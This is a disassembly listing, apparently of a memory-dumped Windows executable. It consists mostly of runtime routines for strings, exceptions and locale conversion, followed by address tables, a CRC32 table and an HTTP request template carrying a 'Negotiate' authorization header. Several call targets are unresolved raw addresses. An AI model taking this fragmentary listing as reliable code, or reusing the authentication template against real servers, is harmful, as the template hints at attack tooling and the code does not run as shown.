; CODE XREF: sub_4227EE+32p ; sub_4228C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_404514 mov eax, esi pop esi retn 4 sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_42298A+29p mov eax, offset loc_423146 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4228C0 endp ; =============== S U B R O U T I N E ======================================= sub_422908 proc near ; CODE XREF: sub_422972+7p ; sub_4229CE+7p ... mov eax, offset loc_423158 call sub_418290 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_422B5C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422908 endp ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: ___:off_424CE0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422967 test [esp+4+arg_0], 1 jz short loc_422961 push esi call sub_4182AF pop ecx loc_422961: ; CODE XREF: sub_42294B+Dj mov eax, esi pop esi retn 4 sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_422967 proc near ; CODE XREF: sub_42294B+3p ; DATA XREF: ___:004250D4o mov dword ptr [ecx], offset off_424CE0 jmp sub_4227AA sub_422967 endp ; =============== S U B R O U T I N E ======================================= sub_422972 proc near ; CODE XREF: sub_4229E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi retn 4 sub_422972 endp ; =============== S U B R O U T I N E ======================================= sub_42298A proc near ; CODE XREF: sub_404464+15p ; sub_4044BD+15p ... mov eax, offset loc_42316A call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4228C0 push offset dword_4250D0 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_424CE0 call sub_422BC9 int 3 ; Trap to Debugger sub_42298A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229CE proc near ; CODE XREF: sub_4229E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CE0 mov eax, esi pop esi retn 4 sub_4229CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229E6 proc near ; DATA XREF: ___:00424CACo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422908 push offset dword_425110 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A04: ; DATA XREF: ___:00424CE8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4229CE push offset dword_4250D0 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A22: ; DATA XREF: ___:00424CBCo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422972 push offset dword_425028 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_4229E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A40 proc near nop jmp near ptr 71B2ACCBh sub_422A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep ; sub_4053D5+159p jmp near ptr 71AB1B7Bh sub_422A46 endp ; --------------------------------------------------------------------------- db 28h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_422A4C proc near ; CODE XREF: sub_417EFC+23p ; sub_4181A0+13p jmp near ptr 2810000h sub_422A4C endp ; --------------------------------------------------------------------------- db 39h ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_409392+E2p ; sub_409392+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4CDA48, 0 push ebx jnz short loc_422A98 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422A64: ; CODE XREF: sub_422A52+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422A76 cmp bx, 41h jb short loc_422A76 add ebx, 20h loc_422A76: ; CODE XREF: sub_422A52+19j ; sub_422A52+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422A88 cmp ax, 41h jb short loc_422A88 add eax, 20h loc_422A88: ; CODE XREF: sub_422A52+2Bj ; sub_422A52+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_422AC8 cmp bx, ax jz short loc_422A64 jmp short loc_422AC8 ; --------------------------------------------------------------------------- loc_422A98: ; CODE XREF: sub_422A52+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_422AA2: ; CODE XREF: sub_422A52+72j mov ax, [esi] inc esi push eax inc esi call sub_422C03 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422C03 pop ecx test bx, bx pop ecx jz short loc_422AC6 cmp bx, ax jz short loc_422AA2 loc_422AC6: ; CODE XREF: sub_422A52+6Dj pop edi pop esi loc_422AC8: ; CODE XREF: sub_422A52+3Dj ; sub_422A52+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; CODE XREF: ___:00422AEAp mov dword ptr [ecx], offset off_424D00 mov ecx, [ecx+4] test ecx, ecx jz short locret_422AE6 push ecx call sub_417C3B pop ecx locret_422AE6: ; CODE XREF: sub_422AD2+Bj retn sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AE7: ; DATA XREF: ___:off_424D00o push esi mov esi, ecx call sub_422AD2 test byte ptr [esp+8], 1 jz short loc_422AFD push esi call sub_4182AF pop ecx loc_422AFD: ; CODE XREF: ___:00422AF4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422B03: ; DATA XREF: ___:off_424D08o push esi mov esi, ecx call sub_422BA6 test byte ptr [esp+8], 1 jz short loc_422B19 push esi call sub_4182AF pop ecx loc_422B19: ; CODE XREF: ___:00422B10j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp ; sub_4228C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 push dword ptr [edi] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B4E push dword ptr [edi] push eax call sub_4179C0 pop ecx pop ecx loc_422B4E: ; CODE XREF: sub_422B1F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_422B1F endp ; =============== S U B R O U T I N E ======================================= sub_422B5C proc near ; CODE XREF: sub_422908+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422B99 push dword ptr [edi+4] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B9F push dword ptr [edi+4] push eax call sub_4179C0 pop ecx pop ecx jmp short loc_422B9F ; --------------------------------------------------------------------------- loc_422B99: ; CODE XREF: sub_422B5C+16j mov eax, [edi+4] mov [esi+4], eax loc_422B9F: ; CODE XREF: sub_422B5C+2Ej ; sub_422B5C+3Bj mov eax, esi pop edi pop esi retn 4 sub_422B5C endp ; =============== S U B R O U T I N E ======================================= sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j ; ___:00422B06p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_424D08 jz short locret_422BBB push dword ptr [ecx+4] call sub_4182AF pop ecx locret_422BBB: ; CODE XREF: sub_422BA6+Aj retn sub_422BA6 endp ; =============== S U B R O U T I N E ======================================= sub_422BBC proc near ; DATA XREF: ___:00424D0Co mov eax, [ecx+4] test eax, eax jnz short locret_422BC8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_422BC8: ; CODE XREF: sub_422BBC+5j retn sub_422BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC9 proc near ; CODE XREF: sub_422863+37p ; sub_42298A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_424D28 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2880000h pop edi pop esi leave retn 8 sub_422BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422A52+56p ; sub_422A52+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422C15 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422C15: ; CODE XREF: sub_422C03+Bj cmp dword_4CDA48, 0 jnz short loc_422C2F cmp ax, 41h jb short locret_422C76 cmp ax, 5Ah ja short locret_422C76 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_422C2F: ; CODE XREF: sub_422C03+19j cmp ax, 100h jnb short loc_422C49 push 1 push eax call sub_422EB1 pop ecx test eax, eax pop ecx jnz short loc_422C49 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422C49: ; CODE XREF: sub_422C03+30j ; sub_422C03+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4CDA48 call sub_422C78 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422C76 mov ax, [ebp+var_2] locret_422C76: ; CODE XREF: sub_422C03+1Fj ; sub_422C03+25j ... leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D48 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4CDCA4, esi jnz short loc_422CEE push esi push esi push 1 pop ebx push ebx push offset dword_4248D8 mov edi, 100h push edi push esi nop call near ptr 28A0000h test eax, eax jz short loc_422CCC mov dword_4CDCA4, ebx jmp short loc_422CEE ; --------------------------------------------------------------------------- loc_422CCC: ; CODE XREF: sub_422C78+4Aj push esi push esi push ebx push offset dword_436EF4 push edi push esi nop call near ptr 2890000h test eax, eax jz loc_422E6D mov dword_4CDCA4, 2 loc_422CEE: ; CODE XREF: sub_422C78+2Ej ; sub_422C78+52j cmp [ebp+arg_C], esi jle short loc_422D03 push [ebp+arg_C] push [ebp+arg_8] call sub_422E81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422D03: ; CODE XREF: sub_422C78+79j mov eax, dword_4CDCA4 cmp eax, 1 jnz short loc_422D2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28A0000h jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: sub_422C78+93j cmp eax, 2 jnz loc_422E6D cmp [ebp+arg_18], esi jnz short loc_422D40 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_422D40: ; CODE XREF: sub_422C78+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27D0000h mov [ebp+var_20], eax cmp eax, esi jz loc_422E6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422D86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422D86: ; CODE XREF: sub_422C78+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27D0000h test eax, eax jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2890000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422E6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422E09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422E09: ; CODE XREF: sub_422C78+17Dj cmp ebx, esi jz short loc_422E6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2890000h nop test eax, eax jz short loc_422E6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422E47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422E69 cmp eax, edi jl short loc_422E38 mov eax, edi loc_422E38: ; CODE XREF: sub_422C78+1BCj push eax push ebx push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp short loc_422E69 ; --------------------------------------------------------------------------- loc_422E47: ; CODE XREF: sub_422C78+1B1j cmp [ebp+arg_14], esi jnz short loc_422E50 push esi push esi jmp short loc_422E56 ; --------------------------------------------------------------------------- loc_422E50: ; CODE XREF: sub_422C78+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422E56: ; CODE XREF: sub_422C78+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2650000h mov edi, eax cmp edi, esi jz short loc_422E6D loc_422E69: ; CODE XREF: sub_422C78+1B8j ; sub_422C78+1CDj mov eax, edi jmp short loc_422E6F ; --------------------------------------------------------------------------- loc_422E6D: ; CODE XREF: sub_422C78+66j ; sub_422C78+B5j ... xor eax, eax loc_422E6F: ; CODE XREF: sub_422C78+ADj ; sub_422C78+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C78 endp ; =============== S U B R O U T I N E ======================================= sub_422E81 proc near ; CODE XREF: sub_422C78+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422EA0 loc_422E91: ; CODE XREF: sub_422E81+1Dj cmp word ptr [eax], 0 jz short loc_422EA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422E91 loc_422EA0: ; CODE XREF: sub_422E81+Ej ; sub_422E81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422EAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422EAE: ; CODE XREF: sub_422E81+24j mov eax, edx retn sub_422E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EB1 proc near ; CODE XREF: sub_422C03+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422EF1 cmp [ebp+arg_0], 100h jnb short loc_422ED5 movzx eax, [ebp+arg_0] mov ecx, off_433C74 mov ax, [ecx+eax*2] jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED5: ; CODE XREF: sub_422EB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422F03 add esp, 18h test eax, eax jnz short loc_422EF5 loc_422EF1: ; CODE XREF: sub_422EB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EB1+3Ej mov eax, [ebp+var_4] loc_422EF8: ; CODE XREF: sub_422EB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F03 proc near ; CODE XREF: sub_422EB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D60 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4CDCA8 xor edi, edi cmp eax, edi jnz short loc_422F72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi call near ptr 2610000h nop test eax, eax jz short loc_422F50 mov eax, esi jmp short loc_422F6D ; --------------------------------------------------------------------------- loc_422F50: ; CODE XREF: sub_422F03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_436EF4 push esi push edi nop call near ptr 2610764h test eax, eax jz loc_4230B4 push 2 pop eax loc_422F6D: ; CODE XREF: sub_422F03+4Bj mov dword_4CDCA8, eax loc_422F72: ; CODE XREF: sub_422F03+2Fj cmp eax, 1 jnz short loc_422F8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2610000h jmp loc_4230B6 ; --------------------------------------------------------------------------- loc_422F8E: ; CODE XREF: sub_422F03+72j cmp eax, 2 jnz loc_4230B4 cmp [ebp+arg_10], edi jnz short loc_422FA4 mov eax, dword_4CDA58 mov [ebp+arg_10], eax loc_422FA4: ; CODE XREF: sub_422F03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27D0000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4230B4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417330 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_423002 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423002: ; CODE XREF: sub_422F03+EAj cmp [ebp+var_2C], edi jz loc_4230B4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 27D0000h test eax, eax jz loc_4230B4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_423057 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_423057: ; CODE XREF: sub_422F03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4230B4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42306B mov eax, dword_4CDA48 loc_42306B: ; CODE XREF: sub_422F03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2610764h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4230B4 cmp word ptr [esi], 0FFFFh jnz short loc_4230B4 push edi push ebx push [ebp+arg_C] call sub_4182C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_4230B4: ; CODE XREF: sub_422F03+61j ; sub_422F03+8Ej ... xor eax, eax loc_4230B6: ; CODE XREF: sub_422F03+86j ; sub_422F03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422F03 endp ; =============== S U B R O U T I N E ======================================= sub_4230C8 proc near ; DATA XREF: ___:00424F14o ; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445C sub_4230C8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4230E6 mov ecx, [ebp+8] jmp loc_40445C ; --------------------------------------------------------------------------- locret_4230E6: ; CODE XREF: ___:004230D8j retn ; --------------------------------------------------------------------------- loc_4230E7: ; DATA XREF: sub_404032o mov eax, offset dword_424EE8 jmp loc_417F4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_4230FC: ; DATA XREF: ___:00424F44o lea ecx, [ebp-1Ch] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423104: ; DATA XREF: sub_4041D4o mov eax, offset dword_424F18 jmp loc_417F4B ; --------------------------------------------------------------------------- align 10h loc_423110: ; DATA XREF: sub_40473Fo mov eax, offset dword_424F48 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423122: ; DATA XREF: sub_4227EEo mov eax, offset dword_424FA8 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423134: ; DATA XREF: sub_422863o mov eax, offset dword_425040 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423146: ; DATA XREF: sub_4228C0o mov eax, offset dword_425064 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423158: ; DATA XREF: sub_422908o mov eax, offset dword_425088 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_42316A: ; DATA XREF: sub_42298Ao mov eax, offset dword_4250E8 jmp loc_417F4B ; --------------------------------------------------------------------------- dd 3A3h dup(0) dd 25D0000h, 25D0151h, 25E0000h, 25E05BAh, 25F0000h, 25F0CE5h dd 2600000h, 26004EAh, 26005B0h, 26009E2h, 2610000h, 2610764h dd 2620000h, 262084Dh, 2620B32h dword_42403C dd 2620B4Eh ; DATA XREF: ___:0041F496r dd 2620BECh, 2620E29h, 2620E64h, 2630000h, 26302CBh, 26302E2h dword_424058 dd 26308B3h ; DATA XREF: sub_40144A+1A6r ; sub_401D82+3Dr ... dd 263093Eh, 2630B98h dword_424064 dd 2630F90h ; DATA XREF: sub_40797F+D1r ; sub_40D3A5+29r dd 2640000h, 264047Bh dword_424070 dd 2650000h ; DATA XREF: sub_40DC82+Fr ; sub_4199B9+54r ... dword_424074 dd 26510A0h ; DATA XREF: sub_4168E9+Br dword_424078 dd 2651922h ; DATA XREF: ___:00404E30r ; sub_40AB7C+67r ... dd 2660000h, 2670000h dword_424084 dd 26707CBh ; DATA XREF: sub_40AB7C+36r dd 2670A57h dword_42408C dd 2670ADCh ; DATA XREF: sub_4168E9:loc_41697Ar dd 2670B22h, 2680000h, 2690000h, 26A0000h dword_4240A0 dd 26A0C0Ah ; DATA XREF: sub_4165C6+32r dd 26B0000h, 26B0365h, 26B03F3h, 26C0000h, 26C05EAh, 26D0000h dword_4240BC dd 26E0000h ; DATA XREF: sub_408EE5+26r dd 26F0000h, 77F7E300h, 77F7E21Fh, 26F0D06h, 2700000h dd 270064Dh dword_4240D8 dd 270094Fh ; DATA XREF: sub_409037+BCr dword_4240DC dd 2710000h ; DATA XREF: sub_409037+60r ; sub_40981F+11r ... dword_4240E0 dd 2710771h ; DATA XREF: sub_40981F:loc_409D0Fr dd 2720000h dword_4240E8 dd 2730000h ; DATA XREF: sub_409209+21r ; sub_409392+4Ar dword_4240EC dd 2730BA2h ; DATA XREF: sub_409209+10r ; sub_409392+40r ... dd 2730BE1h dword_4240F4 dd 2740000h ; DATA XREF: sub_409392+56r dd 27401D3h, 2740795h dword_424100 dd 2740D6Eh ; DATA XREF: sub_40981F+2r dd 2750000h, 2760000h, 27607B7h, 2770000h, 2770401h, 2780000h dd 278062Eh, 2780B1Eh, 2790000h, 279118Dh, 279123Ah, 27A0000h dd 27A0450h, 27A0802h dword_42413C dd 27A0DABh ; DATA XREF: sub_40B56C+79r ; sub_416810+3Ar dword_424140 dd 27B0000h ; DATA XREF: sub_40B56C+3Br ; sub_416717+23r dd 27B1523h, 27C0000h, 77E75CB5h dword_424150 dd 27D0000h ; DATA XREF: sub_40DBB0+13r ; ___:0041F50Br ... dd 27E0000h, 27E0D27h, 27E0DAEh dword_424160 dd 27F0000h ; DATA XREF: ___:loc_40E864r dd 27F038Dh dword_424168 dd 27F09C7h ; DATA XREF: sub_4165C6:loc_4166B2r dd 27F0AEAh, 27F0BA6h, 27F0CB1h, 2800000h, 28005DAh, 28007F6h dd 2800902h, 2810000h, 2820000h, 2830000h, 2840000h, 2850000h dd 2851AAAh, 2851AE6h, 2860000h, 2860E0Dh, 2870000h dword_4241B0 dd 28705FFh ; DATA XREF: sub_41ADB4+240r dword_4241B4 dd 2870746h ; DATA XREF: sub_41B888:loc_41B8B9r dd 28708A7h, 2880000h, 28806E2h, 2890000h, 28A0000h, 28A138Dh dd 28A1CA8h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r db 90h db 18h, 0ABh, 71h dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh dd 71AB1746h, 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr ; sub_404464r ... align 8 dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do ; sub_404514+5Bo ... flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 